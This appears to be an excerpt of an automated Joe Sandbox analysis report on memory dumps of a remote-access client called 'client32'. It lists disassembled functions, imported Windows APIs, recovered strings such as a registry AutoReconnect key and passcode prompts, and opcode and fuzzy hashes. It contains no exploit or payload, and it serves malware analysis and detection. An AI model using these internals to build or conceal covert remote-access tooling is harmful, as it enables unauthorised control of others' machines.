Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Unothrow_t@std@@@__ehfuncinfo$??2@$__aulldiv__localtime64__localtime64_s__time64
String ID:
API String ID: 667980571-0
Opcode ID: baf43ef1593a7cdecb94672a433a1750632353f139cf7ae1fa9ef072f7b28b7a
Instruction ID: c1e4814d99555f495de290984051ba4bd9ed83c2fedc9342f642c632bc13bcf0
Opcode Fuzzy Hash: baf43ef1593a7cdecb94672a433a1750632353f139cf7ae1fa9ef072f7b28b7a
Instruction Fuzzy Hash: 3E317C76D1021CABCF44DFE8DC41AEEF7B8EF48314F04812AE815B7240EA746A04CBA5

Function 1103F120 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 1103F1C5

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

NO VALID SMARTCARD DEVICE!!!, xrefs: 1103F1DB
CLTCONN.CPP, xrefs: 1103F1A0
Error %d writing to smartcard device, xrefs: 1103F1CC
transferred == datalen, xrefs: 1103F1A5
Written %u bytes to smartcard device, xrefs: 1103F1B6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$ExitMessageProcesswsprintf
String ID: CLTCONN.CPP$Error %d writing to smartcard device$NO VALID SMARTCARD DEVICE!!!$Written %u bytes to smartcard device$transferred == datalen
API String ID: 73808336-3603962039
Opcode ID: 94856a4078b3ac11fe05ef5c0c08bd18a798151c73576af9460396963e9f6036
Instruction ID: d1e1036eaa595ab7b5070c6635154fdad5e0fb19e25623191bbb8a120220dee9
Opcode Fuzzy Hash: 94856a4078b3ac11fe05ef5c0c08bd18a798151c73576af9460396963e9f6036
Instruction Fuzzy Hash: 3821B0B6900509AFCB00CF54ED41FDEF775EB95729F008269FC1567380EB30AA04CAA2

Function 1115F0C2 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 1115F0CE

Part of subcall function 1115A195: __getptd_noexit.LIBCMT ref: 1115A198
Part of subcall function 1115A195: __amsg_exit.LIBCMT ref: 1115A1A5

__amsg_exit.LIBCMT ref: 1115F0EE
__lock.LIBCMT ref: 1115F0FE
InterlockedDecrement.KERNEL32(?), ref: 1115F11B
_free.LIBCMT ref: 1115F12E
InterlockedIncrement.KERNEL32(02D01688), ref: 1115F146

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: e40253f875d940b7a8dc3236e0f89e6710caf89b4cb49835c4960a95df8dfdc6
Instruction ID: 803fd973862948a3a3ecb7a001aea24e080d02acdb4679c2f1c74669b507a754
Opcode Fuzzy Hash: e40253f875d940b7a8dc3236e0f89e6710caf89b4cb49835c4960a95df8dfdc6
Instruction Fuzzy Hash: 3D018436901B339BDBD29F65C48974DF760AB0772CF188555E830A7284CB746942CFD2

Function 1105F340 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 122COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1105F4A3

Strings

CalledControl connectCB (ConnectToClient), xrefs: 1105F3C3
Processing EV_CALLED_CONTROL s=%d, addr=%s, xtra=%s..., xrefs: 1105F39A
CalledControl queuing connectCB, xrefs: 1105F3FE
Processed EV_CALLED_CONTROL s=%d, addr=%s, xrefs: 1105F483

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free
String ID: CalledControl connectCB (ConnectToClient)$CalledControl queuing connectCB$Processed EV_CALLED_CONTROL s=%d, addr=%s$Processing EV_CALLED_CONTROL s=%d, addr=%s, xtra=%s...
API String ID: 269201875-3945191877
Opcode ID: a281abe468fc8cf5dea406ee3c8c3c03f4288b3989de67ec6b479d0f55733ec8
Instruction ID: eba7aeba7a80585ba5bfcf02ccd4cc4943b90b94df59a5d5031289039a8223e0
Opcode Fuzzy Hash: a281abe468fc8cf5dea406ee3c8c3c03f4288b3989de67ec6b479d0f55733ec8
Instruction Fuzzy Hash: C64163B9A04A41AFD794CFA4DD44F56F7E4FF44718F10865EE85983280EB74B844CBA2

Function 110553D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(-80000002,SOFTWARE\Productive Computer Insight\Client32\AutoReconnect,00000000,00020019,00000000,?,?), ref: 11055450
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,00000000,?,?,?,?,?,?), ref: 110554AF
RegEnumValueA.ADVAPI32(00000000,00000001,?,?,00000000,?,?,?,?,?), ref: 11055521
RegCloseKey.ADVAPI32(00000000,?,?,?), ref: 1105552E

Strings

SOFTWARE\Productive Computer Insight\Client32\AutoReconnect, xrefs: 11055409, 11055444

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumValue$CloseOpen
String ID: SOFTWARE\Productive Computer Insight\Client32\AutoReconnect
API String ID: 3785232357-4133889954
Opcode ID: 522fb6f12ae8a7514099b8464e6d3ecc568f065a2cd26f1cbba31b508d85541a
Instruction ID: 4fc8b8c254a8e03eea46efce211ec302a356c8092de060a52f9bb50f925273d8
Opcode Fuzzy Hash: 522fb6f12ae8a7514099b8464e6d3ecc568f065a2cd26f1cbba31b508d85541a
Instruction Fuzzy Hash: F0416672E112299FEB54CF54CC91FDAB7B8AB49704F4042D9E60DE7180EA716E44CFA1

Function 110D3610 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

std::exception::exception.LIBCMT ref: 110D3704
__CxxThrowException@8.LIBCMT ref: 110D3719

Part of subcall function 110091F0: std::_Xinvalid_argument.LIBCPMT ref: 11009265
Part of subcall function 110091F0: _memmove.LIBCMT ref: 110092B6

Strings

Your system/device requires approval by the service before you can access it fully, xrefs: 110D36D7
Invalid Passcode, xrefs: 110D3695
The version of the software you are running is not supported by the service, xrefs: 110D36B6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8ThrowXinvalid_argument_malloc_memmove_memsetstd::_std::exception::exceptionwsprintf
String ID: Invalid Passcode$The version of the software you are running is not supported by the service$Your system/device requires approval by the service before you can access it fully
API String ID: 390219819-299493402
Opcode ID: 767883e3574baf54fe023af10dad3d7da6e7b29b5df840732df2b4cd092bae1b
Instruction ID: 290987c637faf9a82613e3c1efdfb8245697807f6b36602a3304b8d6bb74055a
Opcode Fuzzy Hash: 767883e3574baf54fe023af10dad3d7da6e7b29b5df840732df2b4cd092bae1b
Instruction Fuzzy Hash: FC4162B5A0420AABD700CF99C850BDAF7F8FF08314F00865AE91997781DB74AA04CBA0

Function 11049150 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 72timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000000,00000001), ref: 1104919C

Part of subcall function 11035830: wsprintfA.USER32 ref: 1103589E
Part of subcall function 11035830: SetDlgItemTextA.USER32(?,?,?), ref: 1103596F

Strings

Client, xrefs: 110491B1
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 11049184
AckDlgTimeoutAccept, xrefs: 110491AC
m_hWnd, xrefs: 11049189

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemKillTextTimerwsprintf
String ID: AckDlgTimeoutAccept$Client$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 1646146092-2249245707
Opcode ID: 74a23c6806cd996f4e5802ec0325577df80bd7c351eda1b89e39841f079f60ff
Instruction ID: c02fd1ebd72f3abd6975baaa61c1d6d589ae8a261551f4e8277244e37f20d25c
Opcode Fuzzy Hash: 74a23c6806cd996f4e5802ec0325577df80bd7c351eda1b89e39841f079f60ff
Instruction Fuzzy Hash: 8511B479B0070A6BE710DE65DC84F9AB3D9AB88354F108439FA5597690EB71F801CBA1

Function 110AF190 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,?), ref: 110AF24F

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

IsA(), xrefs: 110AF1C0, 110AF21D
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 110AF238
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 110AF1BB, 110AF218
m_hWnd, xrefs: 110AF23D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessTextWindowwsprintf
String ID: IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 2794799252-3129562787
Opcode ID: 2da599f0c3f2941dd33979318759614f42c18a09b34261b493e4f111dfc93822
Instruction ID: 30af45ef0dcef238f528407b1a4bc814dd764d345def6d437735f0addba69835
Opcode Fuzzy Hash: 2da599f0c3f2941dd33979318759614f42c18a09b34261b493e4f111dfc93822
Instruction Fuzzy Hash: 39113A7DB007126BD922DA55FC00F8FF399AF9966DF004468E90567784EB35BA10CAA3

Function 110C5700 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 63COMMON

Download Yara Rule

APIs

__strdup.LIBCMT ref: 110C5737

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

*this==src, xrefs: 110C579F
..\CTL32\NSMString.cpp, xrefs: 110C579A
IsA(), xrefs: 110C5726, 110C5758
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 110C5721, 110C5753

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess__strdupwsprintf
String ID: *this==src$..\CTL32\NSMString.cpp$IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h
API String ID: 3256405202-349135390
Opcode ID: 1238c60e75543991bc3227262facd9733687b896ae40ff399294cd2a1af6fe5d
Instruction ID: 990c6adcda38b5987a728539be4123f148fa86f5ba4ad2cdd8a82a2db87de86a
Opcode Fuzzy Hash: 1238c60e75543991bc3227262facd9733687b896ae40ff399294cd2a1af6fe5d
Instruction Fuzzy Hash: 431102BCF00A03ABC611DF19EC04F9AF3AAAF95A48700C0A5E96497711EB22B4048F91

Function 111032D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57threadwindowsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 111032E8

Part of subcall function 11102790: SetEvent.KERNEL32(00000000), ref: 111027B4

WaitForSingleObject.KERNEL32(00000264,000003E8), ref: 1110331C

Part of subcall function 11103100: EnterCriticalSection.KERNEL32(00000010,00000000,771B23A0,1100BE4B), ref: 11103108
Part of subcall function 11103100: LeaveCriticalSection.KERNEL32(00000010), ref: 11103115

PostMessageA.USER32(?,00000501,00000000,00000000), ref: 11103344
PostThreadMessageA.USER32(?,00000501,00000000,00000000), ref: 1110334B

Strings

Queue, xrefs: 111032D4

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalMessagePostSectionThread$CurrentEnterEventLeaveObjectSingleWait
String ID: Queue
API String ID: 620033763-3191623783
Opcode ID: 5ed127e90d7aea9cc1c571c6faff837e9d0f0bb831e3de670e3d281e69687fa7
Instruction ID: d8bb1088ac88664d3c3efc55309011d502dc20e6f167e529d16559b1f6741692
Opcode Fuzzy Hash: 5ed127e90d7aea9cc1c571c6faff837e9d0f0bb831e3de670e3d281e69687fa7
Instruction Fuzzy Hash: B311A039A557219FDB119B64D8C4B0BF7A4AB4A75CF008939E9518B380DE70F800CBA1

Function 110B71D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44registrywindowCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00000000,NSMCobrMain,?), ref: 110B71E5
LoadIconA.USER32(00000000,000032FA), ref: 110B7209
LoadCursorA.USER32(00000000,000019C8), ref: 110B721D
RegisterClassA.USER32(?), ref: 110B7250

Strings

NSMCobrMain, xrefs: 110B71DA, 110B7249

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassLoad$CursorIconInfoRegister
String ID: NSMCobrMain
API String ID: 2883182437-2967143332
Opcode ID: 1454587d98dabe09f0e1e52a1eccee313279903a0eb30fd0b654e57c9fcb1f51
Instruction ID: a253c0c09f64e32af6d17fda3169afc3079e396ae35490942e04615450f6f666
Opcode Fuzzy Hash: 1454587d98dabe09f0e1e52a1eccee313279903a0eb30fd0b654e57c9fcb1f51
Instruction Fuzzy Hash: 6C015AB5D0522D9BCF00DFE8C8496EEBBBDFB08704F40496AF815B3280D77555408BA5

Function 1107B000 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1107B027

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\DataStream.h, xrefs: 1107B043
IsA(), xrefs: 1107B048
..\CTL32\DataStream.cpp, xrefs: 1107B05D
IsEmpty(), xrefs: 1107B062

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateErrorExitHeapLastMessageProcess_mallocwsprintf
String ID: ..\CTL32\DataStream.cpp$IsA()$IsEmpty()$e:\nsmsrc\nsm\1201\1201f2\ctl32\DataStream.h
API String ID: 1213237569-3592610322
Opcode ID: b0d4951e3e1e982a5900b13c958f5742c237ff4dd3663e560167556411a43178
Instruction ID: 8f9985f317ad91541f6e001387be189c660fec69166a5be52da1ea2e7750abee
